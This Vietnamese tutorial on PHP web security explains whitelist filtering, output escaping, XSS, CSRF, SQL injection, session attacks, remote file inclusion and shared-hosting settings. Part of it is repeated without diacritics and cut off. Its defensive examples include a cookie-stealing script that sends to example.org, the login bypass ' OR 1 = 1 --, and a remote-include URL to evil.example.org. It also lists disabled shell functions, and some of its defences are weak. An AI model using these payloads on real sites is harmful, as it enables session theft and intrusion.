Giới thiệu bảo mật


Trước khi khảo sát các kiểu tấn công và làm thế nào để phát hiện và bảo vệ trước mỗi cuộc tấn công? Nó là cần thiết để thiết lập các nguyên lý bảo mật cơ bản cho web. Các nguyên lý này không khó để có thể hiểu được nhưng nó yêu cầu có sự chú tâm(mindset) đến dữ liệu. Sự chú tấm đến bảo mật nghĩa là bạn phải coi tất cả dữ liệu là hỏng(không hoàn toàn đúng yêu cầu) và dữ liệu đó phải được lọc trước khi sử dụng hoặc đưa ra ngoài hoặc khi xoá bỏ dữ liệu khỏi ứng dụng. Hiểu và làm theo nó là cơ sở và bản chất bảo mật cho ứng dụng của bạn.

1. Tất cả dữ liệu nhập là “không an toàn”

Có lẽ quan trọng nhất trong mọi giao dịch là sự tin cậy vào dữ liệu. Bạn chắc chắn tất cả dữ liệu sử lý của bạn là an toàn? trả lời câu hỏi đó rất dễ nếu bạn biết nguồn gốc dữ liệu. Nếu dữ liệu của bạn bắt đầu từ bên ngoài như từ form nhập dữ liệu, chuỗi truy vấn hay thậm chí từ RSS nó không phải là dữ liệu an toàn nó là dữ liệu “không an toàn”.

Dữ liệu từ nguồn này và các nguồn khác là “Chưa an toàn” bơỉ vì nó không chắc chắn, nội dung của nó chứa các kí tự nguy hiểm cho hệ thống. Ví dụ chuỗi truy vấn user có thể thay đổi bằng tay và thêm vào đó các thẻ javascipt kết quả có thể dẫn đến có hại cho hệ thống một quy tắc chung nhất của tất cả các biến mảng toàn cục(superglobals) nên cân nhắc kỹ khả năng “Chưa  an toàn” .

Đây là lý do cho tất cả hoặc một vài các mảng superglobals khi nhận dữ liệu từ bên ngoài. Thậm chí $_SERVER không phải luôn an toàn bởi một vài dữ liệu cung cấp từ client. Một trường hợp ngoại lệ với nguyên tắc này, cái chỉ được chạy trên server .
Trước khi sử lý dữ liệu “Chưa an toàn” trước khi sử dụng chúng thì phải lọc chúng, một dữ liệu được lọc sau đó nó an toàn với người sử dụng. Có hai cách tiếp cận lọc dữ liệu: whitelist và Blacklist

2. Lọc Whitelist và Blacklist

Có 2 phương pháp tiếp cận phổ biến Whitelist và Blacklist. Phương pháp tiếp cận blacklist ít hạn chế hơn trong quá trình lọc dữ liệu và có thể hiểu rằng lập trình viên có thể biết mọi thứ và không cho phép dữ liệu này đi qua – Ví dụ một vài diễn đàn lọc các từ thô tục sử dụng blacklist. Đó là những từ không thích hợp với diễn đàn những từ này bị lọc ra khỏi bài viết còn những từ khác không có trong danh sách cho phép hiện ra. Tuy nhiên cần thêm vào danh sách các từ bị cấm trong khoảng thời gian.

Ví dụ này không liên quan trực tiếp đến chủ đề trực tiếp để lập trình viên giảm thiểu sự tấn công nhưng nó nêu ra vấn đề tồn tại của cách sử dụng Blacklist là: blacklist phải sửa đổi cập nhật liên tục, phải mở rộng khi gặp kiểu tấn công  mới.
Cách khác dùng whilelist có nhiều hạn chế hơn cho người dùng, chỉ cung cấp khả năng người dùng chấp nhận. Thay vì phải kiểm tra có chấp nhận được hay không whilelist chỉ cung cấp duy nhất dữ liệu chấp nhận được. Thông tin này đã sẵn sàng khi bạn phát triển ứng dụng, nó có thể phát triển trong tương lai. Nhưng bạn điều khiển các thông tin này bằng những tham số.

Khi bạn điều khiển dữ liệu mà nó được chấp nhận thì các kẻ tấn công không thể chuyển cho bất kỳ khác ngoài whilelist cho phép. Vì lý do đó whilelist bảo vệ mạnh mẽ hơn Blacklist.

3. Lọc dữ liệu đầu vào (Filter Input)

Từ những dữ liệu không chắc an toàn bạn không thể tin tưởng được , nó là cần thiết để lọc dữ liệu nhập. Ví dụ sử dụng whilelist trong form sau:

<form method=”POST”>
Username: <input type=”text” name=”username” /><br />
Password: <input type=”text” name=”password” /><br /> Favourite colour:
<select name=”colour”>
<option>Red</option>
<option>Blue</option>
<option>Yellow</option>
<option>Green</option>
</select><br />

<input type=”submit” />
</form>

Trên form có ba phần tử: username, password và color trong đó giới hạn tên chỉ lên là các chữ cái, còn mật khẩu yêu cầu có cả chữ cái và số và màu chỉ hiển thị enable Red và Blue. Chúng ta có thể dùng javascript để giới hạn hiển thị màu. Người dùng chi có thể gửi thông tin giới hạn trong form điều đó cực kỳ quan trọng trong bảo mật cho site.

Lọc dữ liệu nhập từ form, bắt đầu bằng khởi tạo một mảng trắng nó chứa các phần tử dữ liệu đã được lọc . Khi nào gặp biến này $clean[’username’], bạn xác đinh rằng biến này đã được lọc. Tuy nhiên bạn có thể sử dụng $_POST[’username’] tuy nhiên bạn không thể khẳng định rằng dữ liệu này có thể chấp nhận được. Loại bỏ các biến và sử dụng $clean thay thế .

Ví dụ:

$clean = array();
if (ctype_alpha($_POST[’username’])) {
$clean[’username’] = $_POST[’username’]; } if (ctype_alnum($_POST[’password’])) { $clean[’password’] = $_POST[’password’]; } $colours = array(’Red’, ’Blue’, ’Yellow’, ’Green’); if (in_array($_POST[’colour’], $colours)) { $clean[’colour’] = $_POST[’colour’]; } việc sử dụng whilelist phải đảm bảo chắc chắc bạn không nhận được dữ liệu xấu. Ví dụ : một ai đó cố gắng nhập vào username và color không cho phép sử lý. Điều tồi tệ xẩy ra là $clean không chứa giá trị username và color, nếu user name được yêu cầu một mẩu tin báo lỗi sẽ hiện lên yêu cầu nhập dữ liệu đúng. bạn cần phải bắt buộc người dùng nhập vào thông đúng hơn là cố gắng lọc dữ liệu. nếu bạn cố lọc dữ liệu bạn cần có những kết luận về những dữ liệu xấu, nó gặp số vấn đề khi sử dụng với blacklist

4. Escape Output

Output là lấy dữ liệu của ứng dụng hiển thị trên client – Client yêu cầu load web từ một web Browser tới web server, web server thực thi bằng cách truy cập CSDL lấy dữ liệu. dữ liệu lấy ra và lọc, bạn cần chánh khỏi tất cả các dữ liệu làm vỡ dữ liệu. Việc lọc Escape Output để bảo vệ client và người dùng những lệnh có hại tiềm tàng, Escape Output hiểu nó như một phần của như bộ lọc dữ liệu, hai cái đều quan trọng như nhau, bộ lọc để chắc chắn rằng tính hợp lệ của dữ liệu nhập cho ứng dụng còn , tránh khỏi những nguy cơ tấn công có hại cho hệ thống. CSDL server khi làm việc gặp các kí tự đặc biệt. Từ trình duyệt các kí tự là các thẻ HTML đối với database Server là các kí tự đánh dấu quote và các câu lênh SQL làm thế nào khi ouput nó  hiểu đúng.

Để sử lý escape output cho web browser PHP cung cấp hàm htmlspecialchars() và hàm htmlentities() được đề nghị để sử lý chức năng này. Ví dụ sau đây sẽ sử dụng htmlentities() để minh hoạ sử lý dữ liệu trước khi gửi đến browser Ví dụ:
$html = array();

$html[’message’] = htmlentities($user_message, ENT_QUOTES, ’UTF-8’); echo $html[’message’]; Escape output dành cho database server như cấu trúc các lệnh truy vấn ta sử dụng các hàm *_escape_string() . Từ PHP 5.x bao gồm PHP Data Objects (PDO), bạn có thể sử dụng prepared statements cho tất cả các CSDL bằng trình điều khiển PDO.
Sử dụng chuẩn bị dữ liệu trong cấu trúc giúp bạn chỉ rõ nơi quan trọng trong câu lệnh SQL và có thể sử dụng nhiều lần trong một lần khai báo và thay thế giá trị trong mỗi thời gian.
Ví dụ đơn giản để kết nối tham số:
// First, filter the input

$clean = array();

if (ctype_alpha($_POST[’username’])) {
$clean[’username’] = $_POST[’username’]; } // Set a named placeholder in the SQL statement for username $sql = ’SELECT * FROM users WHERE username = :username’;

// Assume the database handler exists; prepare the statement $stmt = $dbh->prepare($sql);

// Bind a value to the parameter

$stmt->bindParam(’:username’, $clean[’username’]);

// Execute and fetch results

$stmt->execute();

$results = $stmt->fetchAll();

5. Đăng kí biến toàn cục

(Register Globals) Khi the register_globals được đặt là ON, tẩt cả các biến: chuỗi truy vấn, post Form, Session, cookies … có thể sử dụng tên biến để truy cập thông tin.
Ví dụ:
giả sử biến môi trường register_globals được đặt là ON biến $loggedin chưa được khởi tạo nên hàm checkLogin() cho giá trị là false dễ dàng có thể gán $loggedin=1 bằng cách truyền thêm vào chuỗi truy vấn. Cách đơn giản là gán $loggedin=false ở đầu đoạn mã:
if (checkLogin())
{
$loggedin = TRUE;
}
if ($loggedin) {
// do stuff only for logged in users
}
Chúng ta bị điều này này là do register_globals là ON vì vậy có thể gán giá trị cho $loggedin thông qua chuỗi truy vấn, form, cookies…tốt nhất khi làm việc với chúng chúng ta dung những siêu mảng do PHP cung cấp $_GET, $_POST, or $_COOKIE.
Chú ý: trước PHP 4.2.0 thì register_globals mặc định là ON nhưng từ phiên bản sau nó thì mặc định là off và tương lại PHP 6.0 cũng vậy

Bảo mật trong lập trình PHP

I. Bảo mật website

Bảo mật website là phải chú ý đến từng phần tử của trang web mà kẻ tấn công có thể lợi dụng thông qua giao diện của ứng dụng. Điểm yếu hay bị lợi dụng nhất đó là bao gồm form và các URL, nên việc bảo mật web có nghĩa là kiểm tra tính hơpk lệ của form và link.

1. Form lừa đảo

Phổ biến kẻ tấn công sử dụng là sử dụng form giả để truyền dữ liệu, kẻ tấn công dễ dàng thay đổi những hạn chế giới hạn phía client, khi form được submit tất cả dữ liệu sẽ truyền đến ứng dụng của bạn.

Ví dụ:
Mã:
<form  method=”POST”  action=”process.php”>
<p>Street:
<input  type=”text”  name=”street”  maxlength=”100″  /></p>
<p>City:
<input  type=”text”  name=”city”  maxlength=”50″  /></p>
<p>State:
<select  name=”state”>
<option  value=”">Pick  a  state…</option>
<option  value=”AL”>Alabama</option>
<option  value=”AK”>Alaska</option>
<option  value=”AR”>Arizona</option>
<!–  options  continue  for  all  50  states  –> </select></p>

<p>Zip:  <input  type=”text”  name=”zip”  maxlength=”5″  /></p>
<p>
<input  type=”submit”  /></p>
</form>

Form trên giới hạn độ dài tối đa cho phép nhập và có thể dùng javascript để giới hạn khi người dùng nhập vào và khi form được submit thì tất cả dữ liệu form sẽ chuyển đến trang process.php để sử lý.
người dùng có thể thể định nghĩa form ở nơi khác và URL của action chỉ đến file http://domian.com/process.php chúng ta xem ví dụ:
Mã:
<form  method=”POST”  action=”http://example.org/process.php”>
<p>Street:  <input  type=”text”  name=”street”  /></p> <p>City:  <input  type=”text”  name=”city”  /></p>
<p>State:  <input  type=”text”  name=”state”  /></p> <p>Zip:  <input  type=”text”  name=”zip”  /></p>

<p><input  type=”submit”  /></p>
</form>

Khi ấy, nếu form được submit thì dữ liệu vẫn được đưa đên file process.php như ví dụ trên mà không gặp bất kỳ giới hạn nào trong form.

Chúng ta dễ dàng fix lỗi này bằng cách kiểm tra các yêu cầu sử lý từ đâu đến bằng giá trị $_SERVER[‘HTTP_REFERER’] xác nhận yêu cầu sử lý đúng trên site mình mới thực thi.
mặc dù có thể ngăn cản mọi dữ liệu xuất phát từ form của nơi khác nhưng nó không cần thiết phải từ chối tất cả dữ liệu từ nơi khác.

Kiểm tra độ tin cậy các thông tin từ bên ngoài là cần thiết đảm bảo dữ liệu submit là phù hợp yêu cầu trong form and thậm chí dữ liệu từ form giả mạo không thể qua được bộ lọc.

2. Tấn công Cross-Site

Tấn công Cross-Site (XSS) là cách tấn công phổ biến và là cách tấn công dễ hiểu nhất. Tính đơn giản của kiểu tấn công và số lượng các ứng dụng dễ bị tổn thương bởi kiểu tấn công này nhiều đã lôi cuốn những kẻ có dã tâm. XSS khai thác sự tin tưởng người đùng và luôn cố gắng lấy trộm thông tin người dùng như : cookies and các thông tin cá nhân khác. Tất cả dữ liệu nhập vào ứng dụng.

Ta xét một ví dụ form sau. Form có thể tồn tại trên một số các web site cộng đồng và có thể cho phép user khác nhận xét(comment). Sau khi các lời nhận xét được gửi thì tất cả các lời nhận xét được hiển thị vì vậy mọi thứ của các lời nhận xét đều được hiển thị:

Ví dụ:
Mã:
<form  method=”POST”  action=”process.php”> <p>Add  a  comment:</p> <p><textarea  name=”comment”></textarea></p> <p><input  type=”submit”  /></p> </form>

Hình dung một số người có ác tâm gửi lời nhận xét với nội dung sau:
<script>
document.location = ’’http://example.org/getcookies.php?cookies=’’ + document.cookie;

</script>
Bây giờ mọi người viếng thăm các thông tin đăng nhập được và cookies chuyển đến URL nó được truyền qua chuỗi struy vấn trên site.kẻ tấn công dễ dàng dùng $_GET[’cookies’] để lưu chúng để sau sử dụng.

3. Tấn công bằng cách yêu cầu cross-site giả A cross-site request forgery (CSRF) là kiểu tấn công làm cho không biết HTTP yêu cầu từ đâu, thường nó yêu cầu quyền truy cập và sử dụng session của nạn nhân để truy cập. Yêu cầu HTTP sẩy ra khi nạn nhân dùng tài khoản của mình để mua hàng thay đổi hoặc xoá thông tin ngưòi dùng.

Khi một XSS tấn công khai thác sự tin tưởng của ngưòi dùng vào ứng dụng, một yêu cầu được gải mạo ứng dụng được người sử dụng tin tường, một yêu cầu đuợc cho là hợp pháp được gửi đi thât khó có thể phát hiện ra có phải thực sự người sự dụng muốn thưc hiện yêu cầu đó.

Trong khi đó yêu cầu được đưa ra ngoài ứng dụng bạn, thường sử dụng là các cuộc tấn công CSRF. Nó sẽ không ngăn ngừa ứng dụng nhận yêu cầu gải mạo. Vậy ứng dụng của bạn phải có khả năng phát hiện yêu cầu hợp lệ trong đó có chứa mã có hại hay không

 Ví dụ:
Chúng ta có 1 web site cho mọi người có thể đăng kí một account và họ có quyền xem các mục sách để mua . có thể giả thuyết rằng một kẻ có dã tâm đăng kí một acount và quá trình sử lý mua sách là trong suốt với site. Cách thức này được phát hiện ra 1 cách tình cờ:

+ đăng nhập và mua hàng
+ Chọn 1 cuốn sách để mua rồi bấm vào nút “buy” nó sẽ chuyển đên trang
+ checkout.php Cô ấy nhìn thấy action check out là POST, nhưng các tham
+ số checkout sẽ được bỏ vì chuỗi truy vấn(GET) làm việc Khi đặt là
+ checkout.php?isbn=0312863551&qty=1 thì thấy báo giao dịch thành công
Với điều mộ kẻ có dã tâm dễ dàng mua hàng trên 1 site mà không mất đồng nào. rễ dàng 1 người sử dụng có thể sử dụng chèn một thẻ ảnh (img) vào vùng không được phép. nội dung của thẻ img như sau:

<img src=”http://example.org/checkout.php?isbn=0312863551&qty=1″ /> Thậm chí image gắn ở site khác vẫn có thể tiếp tục tạo ra cái yêu cầu mua hàng trên site. Hầu hết mọi trường hợp yêu cầu thất bại bởi vì user phải đăng nhập mới mua được hàng. Sự tấn công nàylà sự tin tưởng của web site với người dùng. Giải pháp cho kiểu tấn công này thay thế POST bằng GET tấn công được là do checkout.php sử dụng $_REQUEST, mảng này sẽ truy cập và lấy isdn và qty.

Chúng ta nên sử dụng POST để giảm thiểu rủi do về loại tấn công này. Nhưng nó không thể bảo vệ tất cả các yêu cầu đã được nguỵ tạo.
Một sự tấn công phức tạp có thể tạo yêu cầu POST rễ ràng bằng GET. Trừ khi có một phương pháp ngăn chặn phương pháp mã thông báo(token) này bắt buộc sử dụng form của bạn. Mã thông báo tạo ra bằng cách sinh ngẫu nhiên một mã thông báo và lưu nó trong session khi user truy cập trang chứa form sẽ đặt nó vào trong form dưói 1 trường ẩn.

Sẽ sử lý kiểm tra mã thông báo POST từ form với giá trị lưu trong session. Nếu đúng thì nó là yêu cầu hợp lệ nếu sai thì không sử lý và thay vào đó là thông báo lỗi .

Ví dụ:
<
Mã:
?php
session_start();
$token  =  md5(uniqid(rand(),  TRUE)); $_SESSION[’token’]  =  $token; ?> <form  action=”checkout.php”  method=”POST”> <input  type=”hidden”  name=”token”  value=”<?php  echo  $token;  ?>”  />
<!–  Remainder  of  form  –>
</form>
sử lý khi form được submit:

if  (isset($_SESSION[’token’])
&&  isset($_POST[’token’])
&&  $_POST[’token’]  ==  $_SESSION[’token’]) {
//  Token  is  valid,  continue  processing  form  data }

II. Bảo mật Database
Khi chúng ta truy cập CSDL và chấp nhận dữ liệu đầu vào bằng cách tạo ra các câu lệnh truy vấn, nó dễ dàng bị các kẻ gian lợi dụng tấn công SQl injection. SQL injection xuất hiện khi các kẻ tấn công muốn làm các “thử nghiệm” trên form để lấy các thông tin về CSDL. Nó thu thập các thông tin từ các thông báo lỗi SQL . Kẻ tấn công đính vào form một trường injecting SQL, phổ biến nó thường đính vào form đăng nhập

Mã:
<form  method=”login.php”  action=”POST”>
Username:  <input  type=”text”  name=”username”  /><br  />
Password:  <input  type=”password”  name=”password”  /><br  /> <input  type=”submit”  value=”Log  In”  /> </form> đoạn mã sử lý đăng nhập dễ bị lợi dụng:
$username  =  $_POST[’username’];

$password  =  md5($_POST[’password’]);
$sql  =  “SELECT  *
FROM     users
WHERE   username  =  ’{$username}’  AND    password  =  ’{$password}’”;
/*  database  connection  and  query  code  */ if  (count($results)  >  0) {
//  Successful  login  attempt
}

Khi kẻ tấn công nhập user là :
username’ OR 1 = 1 -
và mật khẩu để trống thì cấu trúc câu lệnh SQl là:
SELECT *
FROM users
WHERE username = ’username’ OR 1 = 1 –’ AND password = ’d41d8cd98f00b204e9800998ecf8427e’
điều kiện 1=1 thì luôn đúng câu lệnh SQL bỏ qua tất cả những gì sau ‘–’ vì vậy câu lệnh SQl trên sẽ trả lại tất cả các bản ghi. Bằng cách này hacker dễ dàng đăng nhập vào hệ thống với tài khoản bất kỳ khi đã biết tên tài khoản Chúng ta tránh được lỗi này bằng cách lọc các kí tự escaping. Bằng cách lọc dữ liệu đầu vào và lọc escaping khi xuất ra chúng ta sẽ tránh được lỗi SQL injection chúng ta lọc escaping bằng nhóm hàm *_escape_string()

III. Bảo mật Session

Có hai kiểu tấn công session phổ biến nhất đó là session cố định(session fixation) và cướp session ( session hijacking) Khi một người triệu gọi trang web lần đầu tiên ứng dụng sẽ gọi session_start() để tạo ra sesion cho user. PHP sẽ tự động sinh ngẫu nhiên một định danh khác nhau cho mỗi user. Và sau đó nó send tạo một trên cookies với tên mặc định là PHPSESSID bạn có thể thay đổi tên mặc định của nó bằng cách thay đổi nó trong php.ini hoặc dùng hàm session_name() .

Từ lần viếng thăm sau nó sẽ định danh user bằng cookies. Tuy nhiên có thể gán session qua chuỗi truy vấn. Đây là cách dễ ràng để tấn công session fixation bởi vì kẻ tấn công có thể thay đổi giá trị PHPSESSID.

Cách phổ biến là lưu trữ link trong ứng dụng của bạn nối thêm session id và sau dụ ngưòi dùng kích vào <a href=”http://example.org/index.php?PHPSESSID=1234″>Click here</a> Trong khi truy cấp thường hay lưu thông tin đăng nhập trong session. Nếu user đăng nhập vào với cùng session id thì kẻ tấn công cũng có thể truy cập với session id đó vì vậy có thể truy cập vào thay đổi các thông tin account . Quan trọng hơn là nó sẽ tiến tới chiếm quyền điều khiển của những acount quản trị.

Chúng ta có thể xuất tất cả các session id của tất cả các user bằng hàm session_regenerate_id()
Mã:
session_start();
//  If  the  user  login  is  successful,  regenerate  the  session  ID if  (authenticate()) { session_regenerate_id(); }

Cách làm trên chỉ bảo vệ user bởi cách tấn công session fixed và dễ dàng đề nghị truy cập của các kẻ tấn công . Nó không giúp chống lại được các kiểu tấn công phổ biến khác như kiểu session hijacking. Đúng hơn là cái này là một cái chung mà thời hạn mô tả bởi bất kì cái gì đó có nghĩa bởi các kẻ tấn công kiếm được những session id của user hữu ích.
Ví dụ, một user tin rằng khi đăng nhập thì session id được định nghĩa lại và có một session mới. cái gì sẽ sẩy ra nếu các kẻ tấn công mà phát hiện ID mới và cố gắng truy cập vào session của user ?
Session ID để định danh các yêu cầu khác nhau của các user khác nhau. một yêu cầu đầư được trợ giúp đặc biệt và không thay đổi giữa các yêu cầu đầu khác nhau. nếu không chắc chắn(chiếm truờng hợp ít) user từ một trình duyệt có thể chuyển nó thành cái khác trong khi đang sử dụng cùng phiên làm việc. các yêu cầu đầu để xác định rõ kiểu tấn công session hijacking.

Sau khi user đăng nhập lưu tác nhân user (User-Agent ) vào session:
$_SESSION[’user_agent’] = $_SERVER[’HTTP_USER_AGENT’]; Và sau đó khi trang được load lần hai kiểm tra chắc chắn rằng User-Agent không được thay đổi. Nếu nó bị thay đổi lên cho đăng nhập lại

Mã:
if  ($_SESSION[’user_agent’]  !=  $_SERVER[’HTTP_USER_AGENT’])
{

//  Force  user  to  log  in  again exit;

}

IV. Bảo mật Filesystem

PHP có khả năng truy cập trực tiếp hệ thống files và có thể thực hiện các lệnh shell, nó cung cấp cho các nhà phát triển sức mạnh lớn, nó thực sự nguy hiểm khi làm hỏng dữ liệu đầu cuối bằng các comand line. Một lần nữa dữ liệu lại phải lọc.

1. Thực thi mã lệnh từ xa(remote Code Injection ) Khi khai báo chèn vào file bằng include hoặc requre chú ý cẩn thận khi sử dụng dữ liệu “hỏng” để tạo một sự khai báo bao hàm(include) động trên dữ liệu nhập từ client, bởi vì một lỗi có thể dễ dàng cho phép hacker có thể thực hiện các cuộc tấn công từ xa. Một cuộc tấn công từ xa xẩy ra khi một kẻ tấn công có thể thực hiện đoạn mã mà họ đã chọn trên ứng dụng của chúng ta. Điều đó giúp cho kẻ tấn công có thể tàn phá cả ứng dụng lẫn hệ thống.

Ví dụ, rất nhiều ứng dụng cho phép tạo và sử dụng chuỗi truy vấn vào cấu trúc những mục của ứng dụng ví dụ : http://example.org/?section=news . Một ứng dụng có thể cấu trúc inclue đề chèn mã news vào ứng dụng:
clude “{$_GET[’section’]}/data.inc.php”;
khi sử dụng URL truy cập vào những mục news/data.inc.php . Tuy nhiên phải cân nhắc kỹ chuyện gì xẩy ra nếu các kẻ tấn công thay đổi chuỗi truy vấn có hại cho site:

http://example.org/?section=http%3A%2F%2Fevil.example.org%2Fattack.inc%3F

dữ liệu nguy hiểm sẽ đuợc include vào hệ thống kết quả của cách làm trên là include “http://evil.example.org/attack.inc?/data.inc.php”;
attack.inc được inclue vào hệ thống và thực thi mã trong đó, các kẻ tấn công có thể làm bất kỳ điều gì mà họ muốn chỉ cẩn để nó trong attack.inc . when đó kẻ tấn công có thể chiếm tất cả quyền mà họ muốn.

Ví dụ:
Mã:
$clean  =  array();
$sections  =  array(’home’,  ’news’,  ’photos’,  ’blog’); if  (in_array($_GET[’section’],  $sections))
{
$clean[’section’]  =  $_GET[’section’]
}else {
$clean[’section’]  =  ’home’
}

include “{clean[’section’]}/data.inc.php”;

2. Các lệnh injecttion

Một site cho phép include dữ liệu động vào file rất nguy hiểm, nó cho phép user thực thi các lệnh trên hệ thống. PHP cung cấp các các hàm như exec(), system() và passthru() giúp chúng ta có thể thực thi những lệnh trên hệ thống. Việc lọc whilelist giảm thiệu các câu lệnh có hại cho hệ thống.
Php cung cấp hàm escapeshellcmd() and escapeshellarg() Đê lịa bỏ những cấu lệnh escape shell cho hệ thống

V. Shared Hosting
Có rất nhiều vấn đề nẩy sinh khi sử dụng host dùng chung, trước đây PHP giải quyết vấn đề này bằng chỉ thị safe_mode .
Tuy nhiên nó sai khi cố gắng dùng nó để phân cấp tại mức PHP. Safe_mode không sẵn sàng ở PHP 6. Có 3 chỉ thị quan trong trong việc chia sẻ hosting: open_basedir disable_functions và disable_classes. Ba chỉ thị này không phụ thuộc vào safe_mode và chúng thể sẵn sàng trong tương lai Open_basedir là chỉ thị giới hạn truy cập đến truy cập file trên cấu trúc cây thư mục. khi PHP cố gắng mở một file bằng open() hoặc include nếu tồn tại thì nó sẽ được chỉ rõ cây thư mục bằng open_basedir nếu không thì nó sẽ không mở file.
Có thể khai báo trong php.ini hàm open_basedir cho từng cho từng host ảo. PHP chỉ cho phép mở file ở địa chỉ /home/user/www and /usr/local/lib/php (cái này được mặc định trong thư viện PEAR):

Mã:
<VirtualHost  *>

DocumentRoot  /home/user/www ServerName     www.example.org

<Directory  /home/user/www>

php_admin_value  open_basedir  “/home/user/www/:/usr/local/lib/php/” </Directory>

</VirtualHost>

Chỉ thị disable_functions và disable_classes tương tự nhau nó cho phép disable một hàm hoặc 1 lớp nào đó bất kỳ hàm nào và lớp nào trong danh sách này đều không có chức năng cho hệ thống.
bạn có thể thay đổi thông số trong php.ini như sau:
; Disable functions

disable_functions = exec,passthru,shell_exec,system

; Disable classes

disable_classes = DirectoryIterator,Directory

Nguồn: Tổng hợp








Cach bao mat PHP


Gioi thieu bao mat


Truoc khi khao sat cac kieu tan cong va lam the nao de phat hien va bao ve truoc moi cuoc tan cong? No la can thiet de thiet lap cac nguyen ly bao mat co ban cho web. Cac nguyen ly nay khong kho de co the hieu duoc nhung no yeu cau co su chu tam(mindset) den du lieu. Su chu tam den bao mat nghia la ban phai coi tat ca du lieu la hong(khong hoan toan dung yeu cau) va du lieu do phai duoc loc truoc khi su dung hoac dua ra ngoai hoac khi xoa bo du lieu khoi ung dung. Hieu va lam theo no la co so va ban chat bao mat cho ung dung cua ban.

1. Tat ca du lieu nhap la “khong an toan”

Co le quan trong nhat trong moi giao dich la su tin cay vao du lieu. Ban chac chan tat ca du lieu su ly cua ban la an toan? tra loi cau hoi do rat de neu ban biet nguon goc du lieu. Neu du lieu cua ban bat dau tu ben ngoai nhu tu form nhap du lieu, chuoi truy van hay tham chi tu RSS no khong phai la du lieu an toan no la du lieu “khong an toan”.

Du lieu tu nguon nay va cac nguon khac la “Chua an toan” boi vi no khong chac chan, noi dung cua no chua cac ki tu nguy hiem cho he thong. Vi du chuoi truy van user co the thay doi bang tay va them vao do cac the javascipt ket qua co the dan den co hai cho he thong mot quy tac chung nhat cua tat ca cac bien mang toan cuc(superglobals) nen can nhac ky kha nang “Chua  an toan” .

Day la ly do cho tat ca hoac mot vai cac mang superglobals khi nhan du lieu tu ben ngoai. Tham chi $_SERVER khong phai luon an toan boi mot vai du lieu cung cap tu client. Mot truong hop ngoai le voi nguyen tac nay, cai chi duoc chay tren server .
Truoc khi su ly du lieu “Chua an toan” truoc khi su dung chung thi phai loc chung, mot du lieu duoc loc sau do no an toan voi nguoi su dung. Co hai cach tiep can loc du lieu: whitelist va Blacklist

2. Loc Whitelist va Blacklist

Co 2 phuong phap tiep can pho bien Whitelist va Blacklist. Phuong phap tiep can blacklist it han che hon trong qua trinh loc du lieu va co the hieu rang lap trinh vien co the biet moi thu va khong cho phep du lieu nay di qua – Vi du mot vai dien dan loc cac tu tho tuc su dung blacklist. Do la nhung tu khong thich hop voi dien dan nhung tu nay bi loc ra khoi bai viet con nhung tu khac khong co trong danh sach cho phep hien ra. Tuy nhien can them vao danh sach cac tu bi cam trong khoang thoi gian.

Vi du nay khong lien quan truc tiep den chu de truc tiep de lap trinh vien giam thieu su tan cong nhung no neu ra van de ton tai cua cach su dung Blacklist la: blacklist phai sua doi cap nhat lien tuc, phai mo rong khi gap kieu tan cong  moi.
Cach khac dung whilelist co nhieu han che hon cho nguoi dung, chi cung cap kha nang nguoi dung chap nhan. Thay vi phai kiem tra co chap nhan duoc hay khong whilelist chi cung cap duy nhat du lieu chap nhan duoc. Thong tin nay da san sang khi ban phat trien ung dung, no co the phat trien trong tuong lai. Nhung ban dieu khien cac thong tin nay bang nhung tham so.

Khi ban dieu khien du lieu ma no duoc chap nhan thi cac ke tan cong khong the chuyen cho bat ky khac ngoai whilelist cho phep. Vi ly do do whilelist bao ve manh me hon Blacklist.

3. Loc du lieu dau vao (Filter Input)

Tu nhung du lieu khong chac an toan ban khong the tin tuong duoc , no la can thiet de loc du lieu nhap. Vi du su dung whilelist trong form sau:

<form method=”POST”>
Username: <input type=”text” name=”username” /><br />
Password: <input type=”text” name=”password” /><br /> Favourite colour:
<select name=”colour”>
<option>Red</option>
<option>Blue</option>
<option>Yellow</option>
<option>Green</option>
</select><br />

<input type=”submit” />
</form>

Tren form co ba phan tu: username, password va color trong do gioi han ten chi len la cac chu cai, con mat khau yeu cau co ca chu cai va so va mau chi hien thi enable Red va Blue. Chung ta co the dung javascript de gioi han hien thi mau. Nguoi dung chi co the gui thong tin gioi han trong form dieu do cuc ky quan trong trong bao mat cho site.

Loc du lieu nhap tu form, bat dau bang khoi tao mot mang trang no chua cac phan tu du lieu da duoc loc . Khi nao gap bien nay $clean[’username’], ban xac dinh rang bien nay da duoc loc. Tuy nhien ban co the su dung $_POST[’username’] tuy nhien ban khong the khang dinh rang du lieu nay co the chap nhan duoc. Loai bo cac bien va su dung $clean thay the .

Vi du:

$clean = array();
if (ctype_alpha($_POST[’username’])) {
$clean[’username’] = $_POST[’username’]; } if (ctype_alnum($_POST[’password’])) { $clean[’password’] = $_POST[’password’]; } $colours = array(’Red’, ’Blue’, ’Yellow’, ’Green’); if (in_array($_POST[’colour’], $colours)) { $clean[’colour’] = $_POST[’colour’]; } viec su dung whilelist phai dam bao chac chac ban khong nhan duoc du lieu xau. Vi du : mot ai do co gang nhap vao username va color khong cho phep su ly. Dieu toi te xay ra la $clean khong chua gia tri username va color, neu user name duoc yeu cau mot mau tin bao loi se hien len yeu cau nhap du lieu dung. ban can phai bat buoc nguoi dung nhap vao thong dung hon la co gang loc du lieu. neu ban co loc du lieu ban can co nhung ket luan ve nhung du lieu xau, no gap so van de khi su dung voi blacklist

4. Escape Output

Output la lay du lieu cua ung dung hien thi tren client – Client yeu cau load web tu mot web Browser toi web server, web server thuc thi bang cach truy cap CSDL lay du lieu. du lieu lay ra va loc, ban can chanh khoi tat ca cac du lieu lam vo du lieu. Viec loc Escape Output de bao ve client va nguoi dung nhung lenh co hai tiem tang, Escape Output hieu no nhu mot phan cua nhu bo loc du lieu, hai cai deu quan trong nhu nhau, bo loc de chac chan rang tinh hop le cua du lieu nhap cho ung dung con , tranh khoi nhung nguy co tan cong co hai cho he thong. CSDL server khi lam viec gap cac ki tu dac biet. Tu trinh duyet cac ki tu la cac the HTML doi voi database Server la cac ki tu danh dau quote va cac cau lenh SQL lam the nao khi ouput no  hieu dung.

De su ly escape output cho web browser PHP cung cap ham htmlspecialchars() va ham htmlentities() duoc de nghi de su ly chuc nang nay. Vi du sau day se su dung htmlentities() de minh hoa su ly du lieu truoc khi gui den browser Vi du:
$html = array();

